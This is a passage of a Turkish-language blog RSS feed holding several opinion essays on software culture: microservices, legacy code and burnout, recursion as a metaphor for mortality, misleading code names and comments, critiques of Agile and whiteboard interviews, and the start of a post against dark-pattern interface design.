<p>Sorunları böl, parçala ve yönet... Kulağa muazzam bir mühendislik zaferi gibi geliyor değil mi? Ancak gerçekte olan şey, sorunları bölmemiz ve onları yönetecek 15 farklı DevOps aracına, 3 farklı bulut sağlayıcısına ve kimsenin tam olarak nasıl çalıştığını anlamadığı bir <em>service mesh</em> ağına muhtaç kalmamız oldu.</p>
<h3>Babil Kulesi'nin Dijital İnşası</h3>
<p>Eski Ahit'te Babil Kulesi efsanesi, insanoğlunun kibri yüzünden cezalandırılmasını anlatır. Tanrı, gökyüzüne ulaşmaya çalışan bu kuleyi inşa edenlerin dillerini karıştırır. İnsanlar birbirlerini anlayamadıkları için kule hiçbir zaman tamamlanamaz ve yıkılır.</p>
<p>Bugün modern yazılım mimarilerinde kendi Babil Kulemizi inşa ediyoruz. Sistemimizi 40 farklı küçük servise böldüğümüzde, hepsi kendi veritabanına sahip olduğunda ve hepsi farklı dillerde (biri Go, diğeri Rust, bir diğeri Node.js) yazıldığında tam olarak efsanedeki o laneti yaşıyoruz. Servisler birbirleriyle HTTP üzerinden konuşmaya çalışıyor, ancak araya giren ağ (network) gecikmeleri, zaman aşımı (timeout) sorunları ve çöken RabbitMQ kuyrukları yüzünden iletişim sürekli kopuyor.</p>
<p>İki fonksiyonun bir monolitik yapıda (monolith) birbiriyle hafıza (RAM) üzerinden 0.001 milisaniyede konuşabildiği bir problemi, mikroservisler dünyasında çözmek için Kafka, Redis, gRPC ve bolca umut kullanmak zorunda kalıyoruz.</p>
<h3>Özgürlüğün Bedeli: Karmaşıklık</h3>
<p>Mikroservis mimarisinin bize vaat ettiği en büyük yalan "bağımsızlıktır". Ekipler birbirinden bağımsız kod dağıtımı (deploy) yapabilecektir. Fakat bu bağımsızlığın bedeli öylesine ağırdır ki, kimse bu bedeli ödemeye hazır değildir.</p>
<p>Eskiden uygulamanızda bir hata (bug) olduğunda tek bir log dosyasına bakardınız. Şimdi? Kullanıcının bir butona tıklaması arka planda 8 farklı servisi tetikliyor. Hatanın nerede olduğunu bulmak için, Dağıtık İzleme (Distributed Tracing) araçlarının içinde dedektifçilik oynamanız gerekiyor.</p>
<p>Daha da kötüsü, veritabanlarını ayırdığımız için eskiden tek bir SQL satırıyla (JOIN) hallettiğimiz raporlama işlemleri, artık devasa bir Veri Ambarı (Data Warehouse) mühendisliği problemine dönüşmüş durumda.</p>
<h3>Ne Zaman Kullanmalı?</h3>
<p>Mikroservisler kötüdür demiyorum. Netflix, Uber veya Amazon ölçeğindeyseniz, binlerce mühendisiniz ve saniyede milyonlarca isteğiniz varsa bu kaçınılmaz bir zorunluluktur.</p>
<p>Ancak sorun şu ki, günlük 5.000 ziyaretçisi olan ve ekibinde sadece 4 geliştiricisi bulunan bir e-ticaret girişiminin Netflix mimarisini kopyalamaya çalışması bir mühendislik harikası değil, bir kibrin (hubris) tezahürüdür.</p>
<p>"Eğer sistemimiz büyürse hazır oluruz" bahanesiyle, hiç gelmeyecek olan o efsanevi trafik için sistemi ölümcül bir karmaşıklığa sürüklüyoruz. Oysa büyüme (scale) problemi yaşamak bir ayrıcalıktır. Çoğu şirket büyüme problemi yaşayacak kadar hayatta kalamaz; tam da bu aşırı mühendislik (over-engineering) yüzünden iflas ederler.</p>
<p>Bir dahaki sefere yeni bir projeye başlarken o modüler, sıkıcı ve yaşlı monolitik yapıyı tekrar düşünün. Belki de ihtiyacınız olan şey yeni bir servis eklemek değil, sisteminizin tek ve bütün bir dil konuşmasına izin vermektir. Babil kulesini yıkmanın zamanı geldi.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>mimari</category>
            <category>mikroservis</category>
            <category>yazılım</category>
            <category>felsefe</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/mikroservisler-modern-zamanin-babil-kulesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sessiz İstifa ve Legacy Kod]]></title>
            <link>http://localhost:3000/blog/post/sessiz-istifa-ve-legacy-kod</link>
            <guid>sessiz-istifa-ve-legacy-kod</guid>
            <pubDate>Tue, 29 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Geliştiricilerin tükenmişlik sonrası projeden duygusal olarak kopup sadece görevlerini yaptığı sessiz istifa evresinin, Legacy Code dediğimiz o korkunç yapıları nasıl doğurduğu üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sessiz-istifa-ve-legacy-kod/thumbnail" alt=""> Yazılım dünyasında herkesin korkarak bahsettiği, dokunanın elini yaktığı, şirketin en kıdemli mühendislerinin bile değiştirmekten çekindiği o meşhur canavarı hepimiz tanırız: <strong>Legacy Code</strong> (Miras Kod).</p>
<p>Peki bu kodlar gökten zembille mi iniyor? Şirkete gece yarısı gizlice sızan kötü niyetli hackerlar mı yazıyor bu spagetti yığınlarını? Elbette hayır. Legacy kod, bir zamanlar projeye büyük umutlarla katılmış, her sabah kahvesini alıp bilgisayarının başına heyecanla oturan, "Bu projeyi çok daha iyi bir mimariyle baştan yazabiliriz!" diyerek toplantılarda sunumlar yapan mühendisler tarafından yazıldı.</p>
<p>Peki ne oldu da o parlak mühendis, arkasında dokunulmaz bir kod bataklığı bırakarak şirketten ayrıldı? Cevap, son yılların popüler kavramı olan "Sessiz İstifa"nın (Quiet Quitting) ta kendisinde gizli.</p>
<h3>Duygusal Kopuşun Anatomisi</h3>
<p>Bir geliştiricinin projeye olan inancını yitirmesi bir günde olmaz. Yavaş yavaş, küçük darbelerle gerçekleşir.</p>
<p>Önce kod kalitesini artırmak için yazdığı testler, ürün yöneticisi tarafından "Şu an buna vaktimiz yok, hızlıca canlıya alalım" denilerek iptal edilir. Ardından, mimari bir hata yapıldığı ve bunun ileride başlarını ağrıtacağı uyarısı, "Şimdilik böyle idare edelim, sonra refactor ederiz (düzenleriz)" klişesiyle hasıraltı edilir. (Ve hepimiz o "sonra"nın hiçbir zaman gelmeyeceğini çok iyi biliriz.)</p>
<p>Birkaç ay sonra o mühendis, inandığı teknik doğrular ile şirketin bitmek bilmeyen feature (özellik) yetiştirme baskısı arasında sıkışır. Ve işte o an, bir psikolojik savunma mekanizması olarak duygusal kopuş yaşanır. Artık kodun kalitesi umurunda değildir. Yalnızca ona verilen Jira biletini (ticket) kapatmak ve mesai bitiminde bilgisayarını kapatmak ister.</p>
<p>İşte sessiz istifa tam olarak budur. Fiziksel olarak oradadır, kod yazıyordur ama ruhen projeyi terk etmiştir.</p>
<h3>Legacy Kodun Doğuşu</h3>
<p>Sessiz istifa evresine giren bir mühendis, artık kodun sürdürülebilirliği (maintainability) için savaşmaz. "Bunu buraya if bloğuyla eklesem çalışır mı? Çalışır. Tamam o zaman," der ve geçer. Dokümantasyon yazmayı bırakır. Değişken isimlerine özen göstermez. Çünkü o koda duyduğu saygı ve sevgi bitmiştir.</p>
<p>Hiçbir legacy kod kötü veya yeteneksiz bir mühendis tarafından yazılmaz. Aksine, umudunu kesmiş, teknik borcun altında ezilmiş ve yöneticilerine sesini duyuramamış bir mühendis tarafından yazılır. Legacy kod, yeteneksizliğin değil, iletişimsizliğin ve tükenmişliğin (burnout) dijital bir anıtıdır.</p>
<h3>Çözüm Kodda Değil, Kültürde</h3>
<p>Şirketler genellikle bu legacy kod yığınından kurtulmak için en kolay yolu seçerler: Kodu tamamen çöpe atıp, yeni baştan yazmak. Ancak aynı toksik şirket kültürü, aynı gerçekçi olmayan teslim tarihleri ve aynı baskı devam ettiği sürece, o "yepyeni ve temiz" kod tabanı da sadece 6 ay içinde yeni nesil bir legacy koda dönüşecektir.</p>
<p>Bir projedeki kodun kalitesi, o kodu yazan ekibin psikolojik sağlığının doğrudan bir yansımasıdır. Eğer kodunuz spagettiye dönüşmüşse, geliştiricilerinize daha fazla eğitim vermeden önce, onlara neden artık projenizi umursamadıklarını sorun. Çünkü kodu iyileştirmenin yolu linter kurallarını sıkılaştırmaktan değil, masanın diğer tarafında oturan insanın hevesini kırmamaktan geçer.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>psikoloji</category>
            <category>legacy code</category>
            <category>yazılım</category>
            <category>kariyer</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sessiz-istifa-ve-legacy-kod/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Recursion ve Ölüm: Kendini Çağıran Fonksiyonların Metafiziği]]></title>
            <link>http://localhost:3000/blog/post/recursion-ve-olum-kendini-cagiran-fonksiyonlarin-metafizigi</link>
            <guid>recursion-ve-olum-kendini-cagiran-fonksiyonlarin-metafizigi</guid>
            <pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir fonksiyonun kendini çağırması, felsefedeki sonsuz döngü paradokslarına ne kadar benziyor? Her recursion'ın bir base case'e ihtiyaç duyması bize ne anlatıyor?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/recursion-ve-olum-kendini-cagiran-fonksiyonlarin-metafizigi/thumbnail" alt=""> ```<br>
function live(day) {<br>
breathe();<br>
eat();<br>
work();<br>
sleep();<br>
live(day + 1);<br>
}</p>
<pre><code>
Yukarıdaki fonksiyonu inceleyin. İlk bakışta basit bir recursion (özyineleme) örneği. Bir fonksiyon, kendi görevlerini yerine getirdikten sonra kendini tekrar çağırıyor. Nefes al, ye, çalış, uyu, tekrarla. Sonsuza dek.

Ama bu fonksiyonda bir sorun var. **Base case yok.** Bu fonksiyon ne zaman duracağını bilmiyor. Durmak için bir koşul tanımlanmamış. Teoride sonsuza kadar çalışmalı. Pratikte ise çağrı yığını (call stack) dolacak ve sistem bir `Stack Overflow` hatası verecek.

İnsan hayatı da tam olarak böyle bir recursion'dır. Ve ölüm, bizim base case'imizdir.

### Stack Overflow: Sonluluğun Zarureti

Bilgisayar biliminde her recursion'ın bir base case'e ihtiyacı vardır. Bu, döngünün durma koşuludur. Base case olmadan recursion sonsuz bir döngüye girer ve sistem çöker. Bu, tasarım hatası değildir; fiziksel bir zorunluluktur. Hiçbir makine sonsuz hafızaya sahip değildir.

İnsan yaşamında ölüm de benzer bir zorunluluktur. Eğer insanlar ölümsüz olsaydı, yani yaşam fonksiyonumuzun base case'i olmasaydı ne olurdu? İlk bakışta harika görünür: sonsuz zaman, sonsuz deneyim, sonsuz öğrenme.

Ama biraz daha düşündüğünüzde, sonsuz zamanın aslında zamanı anlamsızlaştıracağını fark edersiniz. Bir şeyi "yarın" yapabilme lüksünüz sonsuza kadar uzadığında, o şeyi "bugün" yapmak için hiçbir motivasyonunuz kalmaz. Aciliyet duygusu yok olur. Ve aciliyet olmadan, anlam da buharlaşır.

Tıpkı bir deadline'ı olmayan bir yazılım projesinin asla bitmeyeceği gibi, sonu olmayan bir yaşam da asla gerçekten "yaşanmaz". Ölüm, hayata `deadline` (son teslim tarihi) koyar. Ve biz insanlar, ne kadar nefret etsek de, deadline'larla çalışırız.

### Fibonacci ve Doğanın Özyinelemesi

Doğa, recursion'ın en zarif derleyicisidir (compiler). Fibonacci dizisi — 1, 1, 2, 3, 5, 8, 13, 21... — bir özyineleme formülüdür. Her sayı, kendinden önceki iki sayının toplamıdır. Ve bu dizi, ayçiçeğinin spiral yapısında, deniz kabuklarının kıvrımlarında, galaksilerin kollarında, hatta insan kulağının iç yapısında karşımıza çıkar.

DNA replikasyonu bir recursion'dır: Hücre kendini kopyalar, kopya kendini kopyalar, sonsuza dek... ta ki organizma ölene kadar (base case). Evrim de bir recursion'dır: Bir tür kendini bir sonraki nesle aktarır, o nesil kendini aktarır, sonsuza dek... ta ki o tür soyunu tüketene kadar (base case: yok oluş).

Doğa, base case'in kaçınılmazlığını milyonlarca yıl önce kabul etmiş ve bunu bir felaket değil, bir tasarım prensibi olarak benimsemiştir. Ölüm, doğanın garbage collector'ıdır (çöp toplayıcı). Kullanılmayan kaynakları serbest bırakır ki yeni süreçler çalışabilsin.

### Tail Call Optimization: Verimli Yaşamak

Fonksiyonel programlamada "kuyruk çağrısı optimizasyonu" (tail call optimization) adında bir teknik vardır. Normal recursion'da her çağrı stack'e yeni bir katman ekler ve bu sonunda taşmaya yol açar. Ama eğer recursive çağrı fonksiyonun en son işlemi olarak yapılırsa, derleyici stack'e yeni katman eklemek yerine mevcut katmanı yeniden kullanabilir. Fonksiyon sonsuz kez çağrılabilir ama stack asla taşmaz.

Bu, verimli yaşamanın güzel bir metaforudur. Her gün yeni bir yük, yeni bir endişe, yeni bir pişmanlık biriktirmek yerine; günü yaşayıp, o günün yükünü bırakıp, ertesi güne temiz bir stack ile başlamak. Dünün hatalarını bugüne taşımamak. Stack'inizi şişirmemek.

Paramediklikte buna "nöbet teslimi" denir. Nöbetiniz bittiğinde, o gün yaşadığınız her vakayı — kurtardığınız hastaları da, kaybettiklerinizi de — bir sonraki ekibe "teslim" edersiniz. Ve evinize, boş bir stack ile dönersiniz. Bu, duygusal olarak kolay değildir ama hayatta kalmak için zorunludur.

### return;

Her güzel fonksiyonun bir return ifadesi vardır. Her güzel hayatın da bir sonu. Ve tıpkı iyi yazılmış bir recursive fonksiyon gibi, önemli olan sonsuz kez çalışmak değil, her çağrıda anlamlı bir iş yapmak ve doğru zamanda, zarif bir şekilde durmaktır.

</code></pre>
<p>function live(day) {<br>
if (day > MAX_DAYS) return memories;</p>
<p>breathe();<br>
love();<br>
create();<br>
sleep();</p>
<p>return live(day + 1);<br>
}</p>
<pre><code>
Base case'iniz her ne olursa olsun, önemli olan her iterasyonda `memories` dizisine eklediğiniz değerlerdir. Sonsuza kadar çalışan ama hiçbir şey üretmeyen bir fonksiyon, doğru zamanda durup güzel bir sonuç döndüren fonksiyondan her zaman daha başarısızdır.
</code></pre>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>felsefe</category>
            <category>recursion</category>
            <category>metafizik</category>
            <category>yazılım</category>
            <category>ölüm</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/recursion-ve-olum-kendini-cagiran-fonksiyonlarin-metafizigi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Kod Yazarken Yalan Söyleriz]]></title>
            <link>http://localhost:3000/blog/post/kod-yazarken-yalan-soyleriz</link>
            <guid>kod-yazarken-yalan-soyleriz</guid>
            <pubDate>Sun, 27 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Değişken adlarına "isReady" diyoruz ama o değişken hiçbir zaman hazır değil. Kodumuz, kendimize ve geleceğe söylediğimiz organize yalanlar koleksiyonudur.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kod-yazarken-yalan-soyleriz/thumbnail" alt=""> Programlama dillerinin temelinde bir söz vardır: Mantık. Boolean değerler ya doğrudur ya yanlış, koşullar ya sağlanır ya sağlanmaz, döngüler ya döner ya durur. Bilgisayar biliminin tamamı, bu mutlak dürüstlük üzerine inşa edilmiştir. Makine yalan söylemez; söyleyemez.</p>
<p>Ama makinenin arkasında oturan biz insanlar? Biz her gün, her satırda, her commit'te yalan söyleriz.</p>
<h3>İsimlendirmenin Büyük Yalanı</h3>
<p>Bir değişkene <code>isReady</code> adını verdiğinizde, o değişkenin gerçekten bir şeyin "hazır" olup olmadığını temsil ettiğini iddia ediyorsunuz. Ama gerçekte o boolean, üç farklı asenkron işlemin tamamlanıp tamamlanmadığını, bir API çağrısının başarılı olup olmadığını ve kullanıcının bir formu doldurup doldurmadığını aynı anda kontrol eden karmaşık bir mantığın ucuna iliştirdiğiniz basit bir bayrak (flag). "Hazır" kelimesi, bu karmaşıklığı gizlemek için kullandığımız güzel bir örtüdür.</p>
<p>Ya da bir fonksiyona <code>calculateTotal</code> diyorsunuz. "Toplam hesapla" — ne kadar masum, ne kadar temiz. Ama o fonksiyonun içini açtığınızda, toplamı hesaplamanın yanı sıra vergi oranını çektiğini, indirim kuponlarını uyguladığını, kargo ücretini eklediğini, veritabanına bir kayıt yazdığını ve analitik servise bir event gönderdiğini keşfediyorsunuz. Bu fonksiyon toplam hesaplamıyor; 14 farklı yan etki (side effect) tetikleyen ve adından tamamen bağımsız bir hayat süren küçük bir canavar.</p>
<p>Biz buna "kötü isimlendirme" diyoruz. Ama aslında bu, organize bir yalandır. Fonksiyonun adı, gelecekteki okuyucuya verdiğimiz bir sözdür ve biz o sözü tutmuyoruz.</p>
<h3>Yorum Satırlarının Sahte Günlüğü</h3>
<p>Kod yorumları (comments), teoride kodun "neden" böyle yazıldığını açıklar. Pratikte ise yazılım dünyasının en güvenilmez belgeleridir.</p>
<pre><code class="language-javascript">// Kullanıcı listesini güncelle
deleteAllUsers();
</code></pre>
<p>Bu yorum satırını yazan kişi yalan söylüyor. Ama bu yalan muhtemelen kasıtlı değil. Büyük ihtimalle bir zamanlar o fonksiyon gerçekten kullanıcı listesini güncelliyordu. Sonra gereksinimler değişti, fonksiyon silme işlemine dönüştürüldü ama yorumu güncellemeyi kimse akıl etmedi. Yorum orada kaldı, fosil gibi. Artık kodun ne yaptığını değil, bir zamanlar ne yapmak istediğimizi anlatıyor.</p>
<p>Her eski projede bu fosil yorumlardan yüzlercesini bulabilirsiniz. Bunlar, ekibin geçmişteki niyetlerinin ve bugünkü gerçekliğin arasındaki uçurumun sessiz tanıklarıdır.</p>
<h3>"Geçici Çözüm" Efsanesi</h3>
<p>Yazılım dünyasında söylenen en büyük yalan, muhtemelen şu iki kelimedir: <strong>"Geçici çözüm."</strong> (Temporary fix.)</p>
<p>Bir bug patlıyor, teslim tarihi yarın. "Şimdilik şöyle bir workaround koyalım, sonra düzgünce çözeriz" diyorsunuz. O "sonra" asla gelmez. O geçici çözüm, beş yıl sonra hâlâ production'da çalışıyordur. Üstüne yeni geçici çözümler eklenmiştir. Ve artık o kod parçası, kimsenin dokunmaya cesaret edemediği kutsal bir tapınağa dönüşmüştür. "Dokunma, çalışıyor" felsefesi, yazılımcıların en büyük kolektif yalanıdır.</p>
<p>Bir hastaya "Bu sargı geçici, yarın düzgün bir tedavi yapacağız" deyip o sargıyı beş yıl boyunca üstünde bırakmak tıpta malpraktistir (tıbbi hata). Yazılımda ise "pragmatizm" olarak ödüllendirilir.</p>
<h3>Dürüst Kod Mümkün mü?</h3>
<p>Belki de sorun, programlama dillerinin bizi dürüst olmaya zorlamak yerine yalan söylemeyi kolaylaştırmasıdır. Bir fonksiyona istediğiniz adı verebilirsiniz; derleyici (compiler) o adın doğruluğunu kontrol etmez. Tip sistemleri (type systems) verilerin şeklini kontrol eder ama anlamını kontrol edemez.</p>
<p>Tamamen dürüst bir kod tabanı muhtemelen imkânsızdır. Çünkü kod, insan düşüncesinin bir yansımasıdır ve insan düşüncesi doğası gereği eksik, önyargılı ve çelişkilidir. Ama en azından yalanlarımızın farkında olabiliriz. Her <code>isReady</code> yazdığımızda "Gerçekten neye hazır?" diye sorabilir, her <code>calculateTotal</code> yazdığımızda fonksiyonun gerçekten sadece toplam hesaplayıp hesaplamadığını kontrol edebiliriz.</p>
<p>Sonuçta, en tehlikeli yalan başkalarına söylediğimiz değil, kendimize söylediğimizdir. Ve bir kod tabanında kendimize söylediğimiz en büyük yalan şudur: "Bu kod, tam olarak isminin söylediği şeyi yapıyor."</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>felsefe</category>
            <category>yazılım</category>
            <category>kod kalitesi</category>
            <category>insan doğası</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kod-yazarken-yalan-soyleriz/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Agile (Çevik) Öldü ve Onu Biz Öldürdük: Neden Artık Sadece Kod Yazmaya Odaklanıyorum?]]></title>
            <link>http://localhost:3000/blog/post/agile-cevik-oldu-ve-onu-biz-oldurduk-neden-artik-sadece-kod-yazmaya-odaklaniyorum</link>
            <guid>agile-cevik-oldu-ve-onu-biz-oldurduk-neden-artik-sadece-kod-yazmaya-odaklaniyorum</guid>
            <pubDate>Sat, 26 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Süreçlerin mühendisliği nasıl boğduğu, bitmeyen Jira biletleri ve Daily Scrum ritüellerinin yazılımcıları nasıl tükettiği üzerine sert bir eleştiri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/agile-cevik-oldu-ve-onu-biz-oldurduk-neden-artik-sadece-kod-yazmaya-odaklaniyorum/thumbnail" alt=""> Eğer bugün herhangi bir teknoloji şirketinin iş ilanına bakarsanız, istisnasız hepsinde şu cümleyi görürsünüz: "Agile metodolojilerle çalışan dinamik bir ekip..."</p>
<p>Ancak bir mühendis olarak o ekibe katılıp işe başladığınızda karşılaştığınız manzara genellikle şöyledir: Her sabah 45 dakika süren ve kimsenin birbirini dinlemediği daily scrum toplantıları. Anlaşılmaz story point tahminleri. Haftalık bitmeyen planlama toplantıları, retro toplantıları, sprint inceleme toplantıları. Sürekli güncellenmesi gereken jira biletleri ve kod yazmaktan çok süreçleri yönetmekle ve hatta bazen süreçleri yönetmeyi yönetmekle geçen koca bir hafta.</p>
<p>Orijinal "Agile Manifesto" 2001 yılında 17 yazılımcı tarafından yazıldığında çok net ve basit bir felsefesi vardı: <strong>"Süreçler ve araçlardan ziyade, bireylere ve etkileşimlere değer verin. Kapsamlı dokümantasyondan ziyade, çalışan yazılıma değer verin."</strong></p>
<p>Ne yazık ki bugün geldiğimiz noktada, o 17 yazılımcının yıktığı o ağır, bürokratik şirket kültürü; "agile koçu" ve "scrum master" gibi ünvanlarla arka kapıdan tekrar içeri sızdı. Agile, geliştiricilere özgürlük ve hız kazandıran bir felsefe olmaktan çıkıp, orta kademe yöneticilerin yazılımcıları her saniye takip edebildiği, performanslarını sözde metriklerle (bazı kaynaklarda velocity olarak geçer) ölçtüğü devasa bir kontrol mekanizmasına dönüştü.</p>
<p>Bir DevOps/SysOps mühendisi ve bir startup kurucusu olarak ekipleri yönetirken fark ettiğim en acı gerçek şuydu: Süreçlere, Jira'ya ve toplantılara ne kadar çok odaklanırsanız, asıl işten (ürün ve yeni özellikler geliştirmekten) o kadar uzaklaşıyorsunuz. Yazılımcılar kod yazmak, mimari tasarlamak ve sorun çözmek için oradadır; Jira kartlarını sağdan sola kaydırmak için değil.</p>
<p>Şimdiye kadar yönetim kadrosunda bulunduğum ekiplerin çoğunda bu karmaşayı çöpe atmaya çalıştım; bazılarında başardım da. Başarılı olduğum bu ekiplerde scrum yapmadık. Sadece yapılacak işler vardı. Kimin hangi işte olduğu belliydi. Bir problem varsa takım içi anlık iletişim (slack, microsoft teams vb. araçlarla) kuruluyordu. Kimse "Dün şunu yaptım, bugün bunu yapacağım, önümde şu engel var" demek için her sabah saat 10'da mecburi bir toplantıya girmiyordu. Güvenin olduğu yerde, mikro-yönetime ve niteliksiz, bir şey bilmeyen fazlalık mikro yöneticilere ihtiyaç yoktur.</p>
<p>Bir yazılım ekibinin hızını (velocity) ölçmek istiyorsanız, Jira'daki kapanan kart sayısına bakmayın. Ekibin yayına yani productiona ne kadar sıklıkla ve ne kadar az hatayla kod çıktığına bakın. Yazılımcılarınıza toplantısız, kesintisiz derin odaklanma gerçekleştirebilecekleri zaman aralıkları sunun. Bırakın sadece her dakika daha da derinleşerek işlerine ve yazmaları gereken koda odaklansınlar.</p>
<p>Agile ruhunu geri getirmenin tek yolu, o ağır kurumsal ve kasıntı "Agile" kelimesini mikro yöneticilerle beraber çöpe atmak ve sadece oturup çalışan yazılımlar üretmeye odaklanmaktır. Gerisi sadece boş ve anlamsız bir gürültü.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>agile</category>
            <category>scrum</category>
            <category>software-engineering</category>
            <category>management</category>
            <category>productivity</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/agile-cevik-oldu-ve-onu-biz-oldurduk-neden-artik-sadece-kod-yazmaya-odaklaniyorum/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Teknik Mülakat Sistemi Tamamen Bozuk: Neden Whiteboard'da Algoritma Çözmek Saçmalık?]]></title>
            <link>http://localhost:3000/blog/post/teknik-mulakat-sistemi-tamamen-bozuk-neden-whiteboardda-algoritma-cozmek-sacmalik</link>
            <guid>teknik-mulakat-sistemi-tamamen-bozuk-neden-whiteboardda-algoritma-cozmek-sacmalik</guid>
            <pubDate>Fri, 25 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[LeetCode ezberci kültürünün, gerçek mühendislik yetkinliğiyle alakasız olduğu ve iyi insanları nasıl elediği üzerine sert bir eleştiri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/teknik-mulakat-sistemi-tamamen-bozuk-neden-whiteboardda-algoritma-cozmek-sacmalik/thumbnail" alt=""> Bir yazılım mühendisi olarak iş arıyorsunuz. CV'niz güçlü, GitHub profiliniz dolu, yıllardır production sistemleri ayağa kaldırıyorsunuz. İş görüşmesine giriyorsunuz ve karşınızdaki kişi size şunu soruyor: "Bu binary tree'yi (ikili ağacı) ters çevirecek bir fonksiyon yazın. Whiteboard'da (beyaz tahta). 20 dakikanız var."</p>
<p>Ve siz orada, kuru silgi kokulu bir beyaz tahtanın karşısında, elinizde titreyen bir keçeli kalemle, hayatınızda production'da asla kullanmayacağınız bir algoritmayı sıfırdan yazmaya çalışırken düşünürsünüz: "Bu ne saçmalık?"</p>
<p>Teknoloji sektörünün mülakat sistemi tamamen ve geri dönülemez biçimde bozuktur. Google, Meta ve Amazon gibi büyük şirketlerin başlattığı bu "whiteboard algoritma mülakatı" trendi, tüm sektöre yayıldı. Artık 5 kişilik bir startup bile size "Bir linked list'i O(n) zamanda tersine çevirecek bir algoritma yazın" sorusu soruyor.</p>
<p>Sorun şu: Bu tarz sorular, bir insanın gerçek dünyada ne kadar iyi bir mühendis olduğunu ölçmez. Bu sorular, bir insanın LeetCode adlı web sitesinde ne kadar çok pratik yaptığını ölçer. Ve LeetCode pratiği ile gerçek mühendislik becerisi arasındaki korelasyon şaşırtıcı derecede düşüktür.</p>
<p>Gerçek dünyada, bir yazılım mühendisi ne yapar? Belirsiz gereksinimleri anlaşılır hale getirir. Mevcut bir kod tabanını (codebase) okuyup anlar. Ekip arkadaşlarıyla iletişim kurar. Teknik borcu (technical debt) yönetir. Veritabanı şemasını tasarlar. CI/CD pipeline'ı kurar. Log okur, debug yapar, monitoring kurar. Ve evet, bazen algoritma da yazar. Ama o algoritma, beyaz tahtada değil IDE'de yazılır; Stack Overflow ve dokümantasyona bakılarak yazılır; ve genellikle zaten bir kütüphane olarak mevcuttur.</p>
<p>Suku Tech'te birini işe alırken ben asla algoritma sorusu sormam. Bunun yerine adaya gerçek bir senaryo veririm: "İşte bir proje. Müşteri şunu istiyor. Bu teknoloji yığınını (tech stack) kullanıyoruz. Nasıl bir mimari kurarsın? Hangi trade-off'ları (ödünleşimleri) kabul edersin? İlk hafta neye odaklanırsın?" Bu sorular, o insanın gerçek dünyada nasıl düşündüğünü, nasıl karar verdiğini ve ekiple nasıl çalışacağını gösterir.</p>
<p>Mevcut mülakat sistemi, ezbere dayalı, stres altında performans ölçen ve gerçek dünya becerilerini tamamen görmezden gelen bir tiyatrodur. En kötü tarafı ise bu sistemin gerçekten yetenekli ama "LeetCode çalışmaya zamanı olmayan" (çünkü gerçek projeler üzerinde çalışıyorlardı) mühendisleri eleyip, gerçek proje deneyimi sıfır olan ama 500 LeetCode sorusu çözmüş adayları geçirmesidir. Sektör olarak bunu düzeltmemiz gerekiyor; yoksa en iyi mühendisler kapıda kalırken, en iyi ezberleyicileri işe almaya devam edeceğiz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>interviews</category>
            <category>leetcode</category>
            <category>hiring</category>
            <category>whiteboard</category>
            <category>software-engineering</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/teknik-mulakat-sistemi-tamamen-bozuk-neden-whiteboardda-algoritma-cozmek-sacmalik/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Dark Pattern'lar: Kullanıcıyı Kandırmak İçin Tasarlanan Arayüzler ve Neden Buna Ortak Olmayı Reddediyorum]]></title>
            <link>http://localhost:3000/blog/post/dark-patternlar-kullaniciyi-kandirmak-icin-tasarlanan-arayuzler-ve-neden-buna-ortak-olmayi-reddediyorum</link>
            <guid>dark-patternlar-kullaniciyi-kandirmak-icin-tasarlanan-arayuzler-ve-neden-buna-ortak-olmayi-reddediyorum</guid>
            <pubDate>Thu, 24 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Abonelik iptalini imkansız kılan, istemediğiniz ürünleri sepetinize ekleyen ve sizi manipüle eden arayüz tasarımlarının etik çöküşü.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dark-patternlar-kullaniciyi-kandirmak-icin-tasarlanan-arayuzler-ve-neden-buna-ortak-olmayi-reddediyorum/thumbnail" alt=""> Bir online aboneliği iptal etmeye çalıştığınızda başınıza şunlar geldi mi? Önce "Hesap Ayarları"na giriyorsunuz. Abonelik yönetimi sayfasını bulmak için beş farklı menüyü karıştırıyorsunuz. Sonunda "Aboneliği İptal Et" bağlantısını buluyorsunuz ama o bağlantı griye boyanmış, neredeyse görünmez. Tıklıyorsunuz ve size "Emin misiniz?" diye soruyor. "Evet" diyorsunuz. "Gerçekten emin misiniz? Size özel %50 indirim sunabiliriz!" Hayır, iptal etmek istiyorum. "Son bir şans! Premium özellikleri kaybedeceksiniz!" İPTAL ET dedim. Ve sonunda, iptal etmek için müşteri hizmetlerini aramanız gerektiğini söyleyen bir sayfaya yönlendiriliyorsunuz. Müşteri hizmetleri ise sadece hafta içi 09:00-17:00 arası açık.</p>
